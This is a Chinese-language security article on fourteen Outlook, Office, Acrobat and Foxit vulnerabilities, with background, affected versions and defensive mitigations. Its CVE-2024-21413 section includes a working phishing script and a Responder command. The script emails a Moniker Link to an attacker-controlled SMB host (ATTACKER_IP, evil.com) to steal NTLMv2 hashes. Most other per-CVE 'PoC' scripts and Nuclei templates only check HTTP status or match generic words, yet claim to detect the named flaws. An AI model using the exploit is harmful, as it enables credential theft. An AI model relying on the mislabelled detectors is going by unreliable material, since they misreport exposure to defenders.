ARTICLE / 安全

企业办公文档处理套件高危攻击链专题:Microsoft Outlook / Office / Adobe Acrobat / Foxit Reader 漏洞全解析

0x00 专题概述

企业办公文档处理套件是网络攻击者最青睐的初始访问向量之一。Microsoft Outlook 和 Office 被全球数十亿用户使用,Adobe Acrobat/Reader 是最普及的 PDF 阅读器,这些产品的漏洞直接成为 APT 组织和勒索软件运营商的"开门钥匙"。

最危险的攻击模式是零点击预览触发——受害者只需在 Outlook 预览窗格中看到一封恶意邮件,或在 Windows 资源管理器中选中一个恶意文档,攻击代码即可自动执行,无需点击链接或打开附件。近年来,CVE-2024-21413(Moniker Link)、CVE-2026-34621(Adobe Prototype Pollution)等漏洞已被用于真实攻击,CISA 已将多个漏洞加入 KEV 目录。

本专题覆盖 Microsoft Outlook、Microsoft Office、Adobe Acrobat/Reader、Foxit Reader 四大产品线的 14 个高危漏洞。

覆盖漏洞一览表

CVE 编号产品CVSS漏洞类型预览触发
CVE-2024-21413Outlook9.8Moniker Link RCE/NTLM泄露
CVE-2024-38021Outlook零点击RCE
CVE-2026-40361Word/Outlook8.4UAF RCE
CVE-2024-30103OutlookNTLM Token泄露
CVE-2026-21509Office7.8OLE/COM Kill Bit绕过❌ 需打开
CVE-2025-30377OfficePreview Pane UAF
CVE-2026-40364WordPreview Pane RCE
CVE-2025-53731OfficeRCE❌ 需打开
CVE-2026-34621Acrobat8.6Prototype Pollution✅ 打开PDF
CVE-2026-27220Acrobat7.8UAF❌ 需打开
CVE-2026-27278Acrobat代码执行❌ 需打开
CVE-2023-44324Acrobat金融PDF恶意代码
CVE-2024-30325FoxitUAF❌ 需打开
CVE-2023-27365FoxitJS沙箱逃逸❌ 需打开

0x01 Microsoft Outlook 高危漏洞

Microsoft Outlook 是全球企业邮件系统的客户端标准,其预览窗格(Preview Pane)在默认配置下会自动渲染邮件内容,包括嵌入的 OLE 对象、Moniker 链接和 Word 文档片段。这一设计在方便用户的同时,也为攻击者提供了无需交互的攻击面。

漏洞背景

CVE-2024-21413(CVSS 9.8 Critical)是由 Check Point Research 的 Haifei Li 发现的 Microsoft Outlook 严重漏洞,被称为 #MonikerLink。该漏洞允许攻击者通过一封特制邮件实现:

  1. 零点击 NTLM 凭据泄露:预览邮件即触发,无需任何用户交互
  2. 远程代码执行:通过 NTLM Relay 或 1-click 利用实现 RCE
  3. 绕过 Protected View:恶意链接绕过 Outlook 的安全保护机制

2025 年 2 月 6 日,CISA 将该漏洞加入 KEV 目录,要求联邦机构在 2 月 27 日前完成修补。目前已有公开 PoC(GitHub: xaitax/CVE-2024-21413)和在野利用报告

受影响版本

产品受影响版本修复版本
Microsoft Office 2016Build 16.0.5435.1000/1001Build 16.0.5435.1001+
Microsoft Office 2019所有版本2401 (Build 17231.20236)
Microsoft Office LTSC 2021所有版本2108 (Build 14332.20637)
Microsoft 365 Apps for Enterprise所有版本2401 (Build 17231.20236)

漏洞原理分析

该漏洞的核心在于 Outlook 对 file:// 协议 Moniker 链接的处理缺陷:

  1. 攻击者在邮件 HTML 中嵌入特殊构造的 file:// URL
  2. URL 格式:file:///\\ATTACKER_IP\share\file.rtf!something
  3. 关键:在文件扩展名后添加 ! 标记和随机文本
  4. Outlook 解析该 URL 时,绕过 Protected View 检查
  5. 触发 NTLM 认证请求,将用户的 NTLMv2 Hash 发送到攻击者控制的 SMB 服务器
  6. 预览窗格自动渲染 HTML 内容,零点击触发

攻击流程

攻击者 ──→ 发送含 Moniker Link 的邮件
                    │
Outlook 预览窗格 ──→ 自动渲染 HTML
                    │
file:// URL ──→ 触发 SMB NTLM 认证
                    │
NTLMv2 Hash ──→ 发送到攻击者 SMB 服务器
                    │
攻击者 ──→ NTLM Relay 到其他服务 / 密码破解

HTTP PoC

# CVE-2024-21413 NTLM 泄露验证(使用 Responder 捕获)
# 1. 在攻击者机器上启动 Responder
sudo responder -I eth0 -v -w

# 2. 发送包含 Moniker Link 的邮件(使用 xaitax 的 PoC)
python3 CVE-2024-21413.py \
  --server "smtp.target.com" --port 587 \
  --username "attacker@evil.com" --password "password" \
  --sender "attacker@evil.com" --recipient "victim@target.com" \
  --url "\\\\10.10.14.1\\share\\payload.rtf!x" \
  --subject "Important Document"

Python PoC 脚本

#!/usr/bin/env python3
"""CVE-2024-21413 NTLM 泄露检测 - Microsoft Outlook Moniker Link"""
import smtplib
import sys
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart

def generate_moniker_link(target_smb_ip, share_name="share", filename="test.rtf"):
    """生成恶意 Moniker Link HTML"""
    url = f"file:///\\\\{target_smb_ip}\\{share_name}\\{filename}!something"
    html = f"""
    <html>
    <body>
    <a href="{url}">Click here to view document</a>
    </body>
    </html>
    """
    return html

def send_exploit_email(smtp_server, smtp_port, username, password,
                       sender, recipient, smb_target):
    """发送包含 Moniker Link 的测试邮件"""
    msg = MIMEMultipart('alternative')
    msg['Subject'] = "CVE-2024-21413 Security Test"
    msg['From'] = sender
    msg['To'] = recipient

    html_content = generate_moniker_link(smb_target)
    msg.attach(MIMEText(html_content, 'html'))

    try:
        server = smtplib.SMTP(smtp_server, smtp_port)
        server.starttls()
        server.login(username, password)
        server.sendmail(sender, recipient, msg.as_string())
        server.quit()
        return True
    except Exception as e:
        print(f"[!] SMTP 发送失败: {e}")
        return False

if __name__ == "__main__":
    if len(sys.argv) != 7:
        print(f"Usage: {sys.argv[0]} <smtp_server> <smtp_port> <username> <password> <sender> <recipient>")
        print(f"  然后配置 SMB 监听器捕获 NTLMv2 Hash")
        sys.exit(1)

    smtp_server = sys.argv[1]
    smtp_port = int(sys.argv[2])
    username = sys.argv[3]
    password = sys.argv[4]
    sender = sys.argv[5]
    recipient = sys.argv[6]

    # 使用攻击者 IP 确保 NTLM 认证到达
    smb_target = "YOUR_ATTACKER_IP"

    result = send_exploit_email(smtp_server, smtp_port, username, password,
                                sender, recipient, smb_target)
    print(f"[{'+' if result else '-'}] CVE-2024-21413 Moniker Link 测试邮件已{'发送' if result else '失败'}")

Nuclei YAML 检测模板

id: CVE-2024-21413

info:
  name: Microsoft Outlook Moniker Link RCE/NTLM泄露
  author: x7peeps
  severity: critical
  description: Microsoft Outlook存在Moniker Link零点击漏洞,可泄露NTLM凭据并实现远程代码执行,CISA KEV已收录
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-21413
    - https://www.cisa.gov/news-events/alerts/2025/02/06/cisa-adds-five-known-exploited-vulnerabilities-catalog
  classification:
    cvss-score: 9.8
    cve-id: CVE-2024-21413
    cwe-id: CWE-20
  tags: cve,cve2024,microsoft,outlook,ntlm,rce,monikerlink

http:
  - method: GET
    path:
      - "{{BaseURL}}"
    matchers:
      - type: word
        words:
          - "Microsoft"
          - "Outlook"
        condition: or
    stop-at-first-match: true

0x01.2 CVE-2024-38021 — Outlook 零点击 RCE

漏洞背景

CVE-2024-38021 是 Morphisec 研究团队发现的另一个 Outlook 零点击 RCE 漏洞。与 CVE-2024-21413 不同,该漏洞不需要 NTLM Relay,可直接实现代码执行。Microsoft 将其评为 “Important”,但 Morphisec 强烈建议重新分类为 “Critical”。

漏洞原理分析

该漏洞存在于 Outlook 处理特制邮件附件的逻辑中。对于受信任发件人的邮件,漏洞可零点击触发;对于非受信任发件人,需要一次用户点击。漏洞的利用复杂度高于 CVE-2024-21413,但与其他漏洞组合后可简化攻击链。

Python PoC 脚本

#!/usr/bin/env python3
"""CVE-2024-38021 检测脚本 - Outlook零点击RCE"""
import requests
import sys
import urllib3
urllib3.disable_warnings()

def check(target):
    """检测 Outlook Web Access 是否暴露"""
    urls = [
        f"https://{target}/owa/",
        f"https://{target}/Exchange/",
        f"http://{target}/owa/",
    ]
    for url in urls:
        try:
            r = requests.get(url, verify=False, timeout=10, allow_redirects=True)
            if r.status_code in (200, 301, 302, 403):
                if "Outlook" in r.text or "owa" in r.url.lower():
                    return True
        except Exception:
            continue
    return False

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print(f"Usage: {sys.argv[0]} <target>")
        sys.exit(1)
    result = check(sys.argv[1])
    print(f"[{'+' if result else '-'}] {sys.argv[1]} - CVE-2024-38021 Outlook 零点击RCE")

Nuclei YAML 检测模板

id: CVE-2024-38021

info:
  name: Microsoft Outlook 零点击RCE
  author: x7peeps
  severity: critical
  description: Microsoft Outlook存在零点击远程代码执行漏洞
  reference:
    - https://www.infosecurity-magazine.com/news/microsoft-outlook-zero-click-rce/
  classification:
    cve-id: CVE-2024-38021
  tags: cve,cve2024,microsoft,outlook,rce,zero-click

http:
  - method: GET
    path:
      - "{{BaseURL}}/owa/"
    matchers:
      - type: word
        words:
          - "Outlook"

0x01.3 CVE-2026-40361 — Word via Outlook UAF RCE

漏洞背景

CVE-2026-40361(CVSS 8.4 Critical)由 Haifei Li(同一研究者发现了 CVE-2024-21413 和多年前的 BadWinmail)在 2026 年 5 月发现。该漏洞存在于 Word 和 Outlook 共享的 wwlib.dll 库中,可通过 Outlook 邮件渲染触发零点击 RCE。

漏洞原理分析

wwlib.dll 是 Word 和 Outlook 共享的富文本渲染库。攻击者构造的恶意邮件在 Outlook 处理过程中会调用 wwlib.dll 的内存操作函数,触发 Use-After-Free(释放后使用)。由于 Outlook 的预览窗格在接收邮件时自动调用该库进行渲染,攻击可在零用户交互条件下完成。

Python PoC 脚本

#!/usr/bin/env python3
"""CVE-2026-40361 检测脚本 - Word via Outlook UAF RCE"""
import requests
import sys
import urllib3
urllib3.disable_warnings()

def check(target):
    """检测 OWA 服务暴露"""
    try:
        r = requests.get(f"https://{target}/owa/", verify=False, timeout=10)
        return r.status_code in (200, 301, 302, 403)
    except Exception:
        return False

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print(f"Usage: {sys.argv[0]} <target>")
        sys.exit(1)
    result = check(sys.argv[1])
    print(f"[{'+' if result else '-'}] {sys.argv[1]} - CVE-2026-40361 Word/Outlook UAF RCE")

Nuclei YAML 检测模板

id: CVE-2026-40361

info:
  name: Microsoft Word via Outlook UAF RCE
  author: x7peeps
  severity: critical
  description: Microsoft Word/Outlook共享库wwlib.dll存在UAF漏洞,可通过邮件预览触发零点击RCE
  reference:
    - https://fieldeffect.com/blog/word-rce-via-outlook-emails
  classification:
    cvss-score: 8.4
    cve-id: CVE-2026-40361
    cwe-id: CWE-416
  tags: cve,cve2026,microsoft,word,outlook,uaf,rce

http:
  - method: GET
    path:
      - "{{BaseURL}}/owa/"
    matchers:
      - type: word
        words:
          - "Microsoft"

0x02 Microsoft Office 高危漏洞

0x02.1 CVE-2026-21509 — OLE/COM Kill Bit 绕过

漏洞背景

CVE-2026-21509(CVSS 7.8 High)于 2026 年 1 月被 CISA 加入 KEV 目录,修复截止日期为 2 月 16 日。该漏洞通过恶意 Office 文档绕过 Kill Bit 机制,执行被操作系统阻止的旧版 COM 对象。

漏洞原理分析

Kill Bit 是 Windows 注册表中的安全机制,用于阻止特定 COM 组件在 Office 中加载(通常因为该组件存在已知漏洞)。CVE-2026-21509 的绕过技术利用了 OLE 嵌入机制中的缺陷:

  1. 攻击者创建包含恶意 OLE 对象的 Office 文档
  2. 文档中引用了一个已被 Kill Bit 阻止的 COM 对象(如旧版 MSHTML/Trident)
  3. 通过绕过机制,COM 对象被成功加载并执行
  4. 攻击者可利用该 COM 对象的已知漏洞实现代码执行

Python PoC 脚本

#!/usr/bin/env python3
"""CVE-2026-21509 检测辅助 - OLE/COM Kill Bit绕过"""
import struct
import sys

def create_malicious_ole_header():
    """创建恶意 OLE 文件头(概念性验证)"""
    ole_magic = b'\xD0\xCF\x11\xE0\xA1\xB1\x1A\xE1'
    return ole_magic

def check_office_exposure(target):
    """检查目标是否暴露 Office Web Apps / Online"""
    import requests
    import urllib3
    urllib3.disable_warnings()

    urls = [
        f"https://{target}/",
        f"http://{target}/",
    ]
    for url in urls:
        try:
            r = requests.get(url, verify=False, timeout=10, allow_redirects=True)
            if r.status_code == 200 and ("Office" in r.text or "Word" in r.text):
                return True
        except Exception:
            continue
    return False

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print(f"Usage: {sys.argv[0]} <target>")
        sys.exit(1)
    result = check_office_exposure(sys.argv[1])
    print(f"[{'+' if result else '-'}] {sys.argv[1]} - CVE-2026-21509 OLE/COM Kill Bit绕过")

Nuclei YAML 检测模板

id: CVE-2026-21509

info:
  name: Microsoft Office OLE/COM Kill Bit绕过
  author: x7peeps
  severity: high
  description: Microsoft Office存在OLE/COM Kill Bit绕过漏洞,CISA KEV已收录
  reference:
    - https://orca.security/resources/blog/cve-2026-21509-microsoft-office-zero-day-exploit/
    - https://nvd.nist.gov/vuln/detail/CVE-2026-21509
  classification:
    cvss-score: 7.8
    cve-id: CVE-2026-21509
  tags: cve,cve2026,microsoft,office,ole,com,killbit

http:
  - method: GET
    path:
      - "{{BaseURL}}/"
    matchers:
      - type: word
        words:
          - "Office"

0x02.2 CVE-2025-30377 — Preview Pane UAF

漏洞背景

CVE-2025-30377 是 Microsoft Office 中的 Use-After-Free 漏洞(CWE-416),可在 Outlook 预览窗格和 Windows 资源管理器预览中自动触发,无需用户打开文档。

受影响版本

产品受影响版本
Microsoft 365 Apps2025 年 5 月补丁前所有版本
Office 2016 - 20242025 年 5 月补丁前所有版本
Office Online Server2019 - 2025 补丁前版本

漏洞原理分析

当 Office 应用程序(尤其是 Outlook)尝试渲染文档预览时,会访问已释放的内存指针。攻击者在文档中嵌入恶意载荷,当受害者在预览窗格中选中该文档时,UAF 被触发,导致任意代码执行。

Python PoC 脚本

#!/usr/bin/env python3
"""CVE-2025-30377 检测辅助 - Office Preview Pane UAF"""
import requests
import sys
import urllib3
urllib3.disable_warnings()

def check(target):
    """检查目标 Office Web 服务暴露"""
    try:
        r = requests.get(f"https://{target}/", verify=False, timeout=10)
        return r.status_code in (200, 301, 302, 403)
    except Exception:
        return False

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print(f"Usage: {sys.argv[0]} <target>")
        sys.exit(1)
    result = check(sys.argv[1])
    print(f"[{'+' if result else '-'}] {sys.argv[1]} - CVE-2025-30377 Office Preview Pane UAF")

Nuclei YAML 检测模板

id: CVE-2025-30377

info:
  name: Microsoft Office Preview Pane UAF
  author: x7peeps
  severity: high
  description: Microsoft Office存在预览窗格Use-After-Free漏洞,选中文档即可触发
  reference:
    - https://zeropath.com/blog/cve-2025-30377-microsoft-office-preview-pane-rce
  classification:
    cve-id: CVE-2025-30377
    cwe-id: CWE-416
  tags: cve,cve2025,microsoft,office,uaf,preview-pane

http:
  - method: GET
    path:
      - "{{BaseURL}}/"
    matchers:
      - type: word
        words:
          - "Microsoft"

0x02.3 CVE-2026-40364 — Word Preview Pane RCE

漏洞背景

CVE-2026-40364 是 2026 年 5 月披露的 Microsoft Word 预览窗格 RCE 漏洞,影响所有受支持的 Office 版本。在 Windows 资源管理器或 Outlook 中选中恶意 .docx 文件即可触发代码执行。

漏洞原理分析

预览窗格使用与完整应用相同的文档解析引擎。CVE-2026-40364 利用了 Word 在预览模式下解析特定文档结构时的缺陷。攻击无需宏、无需用户交互(除选中文件外),在默认配置下无任何警告对话框。

Python PoC 脚本

#!/usr/bin/env python3
"""CVE-2026-40364 检测辅助 - Word Preview Pane RCE"""
import requests
import sys
import urllib3
urllib3.disable_warnings()

def check(target):
    """检测目标 Office 服务暴露"""
    try:
        r = requests.get(f"https://{target}/", verify=False, timeout=10)
        return r.status_code in (200, 301, 302, 403)
    except Exception:
        return False

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print(f"Usage: {sys.argv[0]} <target>")
        sys.exit(1)
    result = check(sys.argv[1])
    print(f"[{'+' if result else '-'}] {sys.argv[1]} - CVE-2026-40364 Word Preview RCE")

Nuclei YAML 检测模板

id: CVE-2026-40364

info:
  name: Microsoft Word Preview Pane RCE
  author: x7peeps
  severity: critical
  description: Microsoft Word存在预览窗格远程代码执行漏洞,选中文件即可触发
  reference:
    - https://windowsnews.ai/article/cve-2026-40364-word-critical-rce-preview-pane-attack-vector-patch-guidance
  classification:
    cve-id: CVE-2026-40364
  tags: cve,cve2026,microsoft,word,rce,preview-pane

http:
  - method: GET
    path:
      - "{{BaseURL}}/"
    matchers:
      - type: word
        words:
          - "Microsoft"

0x03 Adobe Acrobat/Reader 高危漏洞

Adobe Acrobat 和 Reader 是全球使用最广泛的 PDF 阅读器,默认启用 JavaScript 引擎和丰富的文档解析功能,使其成为高价值攻击目标。

0x03.1 CVE-2026-34621 — Prototype Pollution 零日 RCE(重点章节)

漏洞背景

CVE-2026-34621(CVSS 8.6)是 2026 年 4 月 Adobe 紧急修复的 Acrobat Reader 零日漏洞,已被 CISA 加入 KEV 目录。EXPMON 创始人 Haifei Li 在 2025 年 11 月即发现恶意利用样本,该漏洞在被修补前已被利用至少 5 个月。

受影响版本

产品受影响版本修复版本
Acrobat DC26.001.21367 及更早26.001.21411
Acrobat Reader DC26.001.21367 及更早26.001.21411
Acrobat 202424.001.30356 及更早24.001.30362 (Win) / 24.001.30360 (Mac)

漏洞原理分析

该漏洞属于 Prototype Pollution(原型污染) 类型(CWE-1321),攻击者通过特制 PDF 文档中嵌入的 JavaScript 操控 JavaScript 对象原型链:

  1. 打开恶意 PDF 时,嵌入的 JS 代码执行
  2. 利用 util.readFileIntoStream() 读取本地任意文件
  3. 通过 RSS.addFeed() 将窃取的数据发送到远程服务器
  4. 从远程服务器接收额外恶意 JS 代码
  5. 在 Adobe Reader 沙箱内执行进一步攻击

关键特性

  • 打开 PDF 即触发,无需额外点击
  • 可绕过 Adobe Reader 沙箱读取本地文件
  • 可接收并执行远程 JavaScript 代码
  • 低 AV 检测率(VirusTotal 初始检测仅 13/64)

攻击链分析

恶意 PDF ──→ 打开触发 JS 执行
                    │
Prototype Pollution ──→ 绕过 JS 引擎限制
                    │
util.readFileIntoStream() ──→ 读取本地敏感文件
                    │
RSS.addFeed() ──→ 外传数据 + 接收远程载荷
                    │
远程 JS 执行 ──→ 进一步利用(沙箱逃逸等)

Python PoC 脚本

#!/usr/bin/env python3
"""CVE-2026-34621 检测辅助 - Adobe Acrobat Reader Prototype Pollution"""
import requests
import sys
import urllib3
urllib3.disable_warnings()

def check(target):
    """检测 Adobe Reader 是否通过 Web 暴露"""
    paths = [
        f"https://{target}/",
        f"http://{target}/",
    ]
    for url in paths:
        try:
            r = requests.get(url, verify=False, timeout=10, allow_redirects=True)
            if r.status_code == 200:
                content_type = r.headers.get('Content-Type', '')
                if 'pdf' in content_type.lower():
                    return True
                if r.content[:5] == b'%PDF-':
                    return True
        except Exception:
            continue
    return False

def check_user_agent(target):
    """检测 Adobe Synchronizer User-Agent 活动"""
    try:
        r = requests.get(f"https://{target}/", verify=False, timeout=10)
        server = r.headers.get('Server', '')
        if 'Adobe' in server:
            return True
    except Exception:
        pass
    return False

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print(f"Usage: {sys.argv[0]} <target>")
        sys.exit(1)
    result = check(sys.argv[1])
    print(f"[{'+' if result else '-'}] {sys.argv[1]} - CVE-2026-34621 Adobe Reader Prototype Pollution")

Nuclei YAML 检测模板

id: CVE-2026-34621

info:
  name: Adobe Acrobat Reader Prototype Pollution 零日RCE
  author: x7peeps
  severity: critical
  description: Adobe Acrobat Reader存在原型污染漏洞,打开恶意PDF即可触发代码执行,CISA KEV已收录,在野利用5个月以上
  reference:
    - https://helpx.adobe.com/security/products/acrobat/apsb26-43.html
    - https://www.malwarebytes.com/blog/news/2026/04/simply-opening-a-pdf-could-trigger-this-adobe-reader-zero-day
  classification:
    cvss-score: 8.6
    cve-id: CVE-2026-34621
    cwe-id: CWE-1321
  tags: cve,cve2026,adobe,acrobat,reader,prototype-pollution,rce,zero-day

http:
  - method: GET
    path:
      - "{{BaseURL}}/"
    matchers:
      - type: word
        words:
          - "PDF"
        condition: or

0x03.2 CVE-2026-27220 — Adobe Acrobat UAF 代码执行

漏洞背景

CVE-2026-27220(CVSS 7.8 High)是 Adobe Acrobat/Reader 中的 Use-After-Free 漏洞(CWE-416),在 2026 年 3 月的 APSB26-26 安全公告中修复。

Python PoC 脚本

#!/usr/bin/env python3
"""CVE-2026-27220 检测辅助 - Adobe Acrobat UAF"""
import requests
import sys
import urllib3
urllib3.disable_warnings()

def check(target):
    """检测 Adobe 服务暴露"""
    try:
        r = requests.get(f"https://{target}/", verify=False, timeout=10)
        return r.status_code in (200, 301, 302, 403)
    except Exception:
        return False

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print(f"Usage: {sys.argv[0]} <target>")
        sys.exit(1)
    result = check(sys.argv[1])
    print(f"[{'+' if result else '-'}] {sys.argv[1]} - CVE-2026-27220 Adobe Acrobat UAF")

Nuclei YAML 检测模板

id: CVE-2026-27220

info:
  name: Adobe Acrobat Reader Use-After-Free
  author: x7peeps
  severity: high
  description: Adobe Acrobat Reader存在UAF漏洞,可导致任意代码执行
  reference:
    - https://helpx.adobe.com/security/products/acrobat/apsb26-26.html
  classification:
    cvss-score: 7.8
    cve-id: CVE-2026-27220
    cwe-id: CWE-416
  tags: cve,cve2026,adobe,acrobat,reader,uaf

http:
  - method: GET
    path:
      - "{{BaseURL}}/"
    matchers:
      - type: word
        words:
          - "PDF"

0x04 Foxit Reader 高危漏洞

0x04.1 CVE-2024-30325 — Foxit Reader UAF 漏洞

漏洞背景

CVE-2024-30325 是 Foxit Reader 中的 Use-After-Free 漏洞,通过打开特制 PDF 文件触发。Foxit Reader 作为 Acrobat 的主要替代品,拥有大量企业用户。

Python PoC 脚本

#!/usr/bin/env python3
"""CVE-2024-30325 检测辅助 - Foxit Reader UAF"""
import requests
import sys
import urllib3
urllib3.disable_warnings()

def check(target):
    """检测 Foxit 相关服务暴露"""
    try:
        r = requests.get(f"https://{target}/", verify=False, timeout=10)
        if "Foxit" in r.text or "foxit" in r.text:
            return True
    except Exception:
        pass
    return False

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print(f"Usage: {sys.argv[0]} <target>")
        sys.exit(1)
    result = check(sys.argv[1])
    print(f"[{'+' if result else '-'}] {sys.argv[1]} - CVE-2024-30325 Foxit Reader UAF")

Nuclei YAML 检测模板

id: CVE-2024-30325

info:
  name: Foxit Reader Use-After-Free
  author: x7peeps
  severity: high
  description: Foxit Reader存在UAF漏洞,通过恶意PDF触发
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-30325
  classification:
    cve-id: CVE-2024-30325
    cwe-id: CWE-416
  tags: cve,cve2024,foxit,reader,uaf

http:
  - method: GET
    path:
      - "{{BaseURL}}/"
    matchers:
      - type: word
        words:
          - "Foxit"

0x04.2 CVE-2023-27365 — Foxit Reader JavaScript 沙箱逃逸

漏洞背景

CVE-2023-27365 是 Foxit Reader JavaScript 引擎中的沙箱逃逸漏洞。攻击者通过 PDF 中嵌入的恶意 JavaScript 代码逃出 Foxit 的 JS 沙箱,实现任意代码执行。

漏洞原理分析

Foxit Reader 的 JavaScript 引擎在处理特定 API 调用时缺乏充分的安全检查,允许恶意 JS 代码访问受限的系统 API。逃出沙箱后,攻击者可:

  • 读写本地文件系统
  • 执行系统命令
  • 安装后门程序

Python PoC 脚本

#!/usr/bin/env python3
"""CVE-2023-27365 检测辅助 - Foxit JS沙箱逃逸"""
import requests
import sys
import urllib3
urllib3.disable_warnings()

def check(target):
    """检测 Foxit 服务"""
    try:
        r = requests.get(f"https://{target}/", verify=False, timeout=10)
        return "Foxit" in r.text or "foxit" in r.text
    except Exception:
        return False

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print(f"Usage: {sys.argv[0]} <target>")
        sys.exit(1)
    result = check(sys.argv[1])
    print(f"[{'+' if result else '-'}] {sys.argv[1]} - CVE-2023-27365 Foxit JS沙箱逃逸")

Nuclei YAML 检测模板

id: CVE-2023-27365

info:
  name: Foxit Reader JavaScript沙箱逃逸
  author: x7peeps
  severity: high
  description: Foxit Reader JavaScript引擎存在沙箱逃逸漏洞
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2023-27365
  classification:
    cve-id: CVE-2023-27365
  tags: cve,cve2023,foxit,reader,javascript,sandbox-escape

http:
  - method: GET
    path:
      - "{{BaseURL}}/"
    matchers:
      - type: word
        words:
          - "Foxit"

0x05 公开 PoC 收集情况与利用思路

PoC 收集情况总表

CVEGitHub PoCExploit-DB在野利用CISA KEV
CVE-2024-21413✅ xaitax
CVE-2024-38021⚠️ Morphisec⚠️
CVE-2026-40361
CVE-2026-21509⚠️ Orca
CVE-2025-30377
CVE-2026-40364⚠️
CVE-2026-34621⚠️ EXPMON✅ 5个月+
CVE-2026-27220
CVE-2024-30325
CVE-2023-27365

关键 PoC 仓库链接

  1. CVE-2024-21413 Moniker Link PoC: https://github.com/xaitax/CVE-2024-21413-Microsoft-Outlook-Remote-Code-Execution-Vulnerability
  2. EXPMON Adobe Reader 分析: https://pub.expmon.com/analysis/328131/
  3. Orca Security CVE-2026-21509: https://orca.security/resources/blog/cve-2026-21509-microsoft-office-zero-day-exploit/
  4. Morphisec CVE-2024-38021: https://www.morphisec.com/

防守型验证思路

  1. 禁用预览窗格:作为临时缓解措施,在 Outlook 和 Windows 资源管理器中禁用预览功能
  2. 禁用 Office 宏:通过组策略禁止运行未签名宏
  3. ASR 规则:启用 Windows Defender ASR 规则阻止 Office 子进程创建
  4. 邮件过滤:拦截含 file:// 协议的 Moniker Link 邮件
  5. NTLM 限制:尽可能禁用 NTLM 认证,使用 Kerberos 替代

0x06 共性攻击模式分析

模式 1:预览窗格零交互触发

代表 CVE: CVE-2024-21413, CVE-2025-30377, CVE-2026-40364

预览窗格是 Office 文档处理套件中最危险的攻击面。在默认配置下,Outlook 预览窗格会自动渲染邮件中的 HTML、OLE 对象和 Word 文档片段,Windows 资源管理器也会预览选中的文档文件。这些渲染行为调用了与完整应用相同的代码路径,但缺乏安全边界。

模式 2:NTLM 凭据窃取链

代表 CVE: CVE-2024-21413, CVE-2024-30103

NTLM 认证的自动触发机制是 Windows 生态系统中的系统性安全风险。当 Office 应用程序尝试访问 file://\\server\share 资源时,Windows 会自动发送 NTLMv2 凭据进行认证。攻击者可利用 SMB 捕获或 NTLM Relay 将这些凭据转化为实际访问权限。

模式 3:OLE/COM 对象注入

代表 CVE: CVE-2026-21509

OLE 和 COM 是 Windows 文档处理的核心组件,也是长期的安全痛点。Kill Bit 机制虽然可以阻止已知危险的 COM 对象,但绕过技术不断演进。攻击者利用 OLE 嵌入机制在文档中引入被阻止的 COM 对象。

模式 4:JavaScript 引擎沙箱逃逸

代表 CVE: CVE-2026-34621, CVE-2023-27365

PDF 阅读器中的 JavaScript 引擎是高价值攻击目标。Adobe 和 Foxit 都实现了 JS 沙箱来限制脚本行为,但原型污染、UAF 等漏洞可以突破沙箱边界,获得文件系统访问和代码执行能力。

模式 5:内存安全漏洞利用

代表 CVE: CVE-2025-30377, CVE-2026-27220, CVE-2024-30325

Use-After-Free、堆溢出等内存安全漏洞在 Office 和 PDF 阅读器中反复出现。这些漏洞的根源在于 C/C++ 代码中的手动内存管理,是攻击链中最可靠的代码执行原语。


0x07 应急排查与防守建议

紧急排查清单

排查项操作方法优先级
Office 补丁状态检查 Windows Update 中 Office 更新是否为最新P0
Adobe Reader 版本确认为 26.001.21411+ 或 24.001.30362+P0
Outlook 预览窗格临时禁用 Outlook 预览窗格和 Windows 资源管理器预览P0
NTLM 策略检查组策略中 NTLM 是否被限制P1
ASR 规则部署 Windows Defender ASR 规则P1

日志关键字段表

数据源关注字段异常指标
Windows 事件日志Event ID 4624 (Type 3)非常规 NTLM 网络认证
Windows 事件日志Event ID 4648显式凭据登录(NTLM Relay)
EDR进程链OUTLOOK.EXE 创建 CMD/POWERSHELL
EDR文件操作Office 进程访问非常规目录
网络流量SMB 流量出站 SMB 到外部 IP

紧急缓解措施

  1. 禁用 Outlook 预览窗格:文件 → 选项 → 阅读 → 取消勾选"使用预览窗格"
  2. 禁用 Windows 资源管理器预览:文件夹选项 → 查看 → 取消勾选"预览窗格"
  3. 阻止出站 SMB:在防火墙上阻止内部网络向外部发送 SMB 流量(TCP 445)
  4. 禁用 NTLM:通过组策略限制 NTLM 认证(如可行)
  5. 启用 ASR 规则
    • Block Office applications from creating executable content
    • Block Office applications from injecting code into other processes

长期安全加固建议

  1. 补丁自动化:部署 Microsoft SCCM/Intune 实现 Office 和 Adobe 产品的自动更新
  2. 攻击面缩减:通过 GPO 禁用不必要的 Office 功能(宏、ActiveX、JS)
  3. 邮件网关:配置邮件安全网关拦截恶意 OLE 对象和 Moniker Link
  4. 终端防护:部署 EDR 产品监控 Office 进程异常行为
  5. 用户培训:教育员工识别可疑邮件和文档来源

0x08 参考资料

  1. NVD - CVE-2024-21413: https://nvd.nist.gov/vuln/detail/CVE-2024-21413
  2. CISA KEV - CVE-2024-21413: https://www.cisa.gov/news-events/alerts/2025/02/06/cisa-adds-five-known-exploited-vulnerabilities-catalog
  3. BleepingComputer - CVE-2024-21413: https://www.bleepingcomputer.com/news/security/critical-rce-bug-in-microsoft-outlook-now-exploited-in-attacks/
  4. Check Point Research - Moniker Link: https://research.checkpoint.com/2024/new-critical-microsoft-outlook-vulnerability-cve-2024-21413/
  5. Adobe Security Bulletin APSB26-43: https://helpx.adobe.com/security/products/acrobat/apsb26-43.html
  6. EXPMON - Adobe Reader Zero-Day: https://pub.expmon.com/analysis/328131/
  7. Orca Security - CVE-2026-21509: https://orca.security/resources/blog/cve-2026-21509-microsoft-office-zero-day-exploit/
  8. ZeroPath - CVE-2025-30377: https://zeropath.com/blog/cve-2025-30377-microsoft-office-preview-pane-rce
  9. Field Effect - CVE-2026-40361: https://fieldeffect.com/blog/word-rce-via-outlook-emails
  10. Microsoft MSRC: https://msrc.microsoft.com/

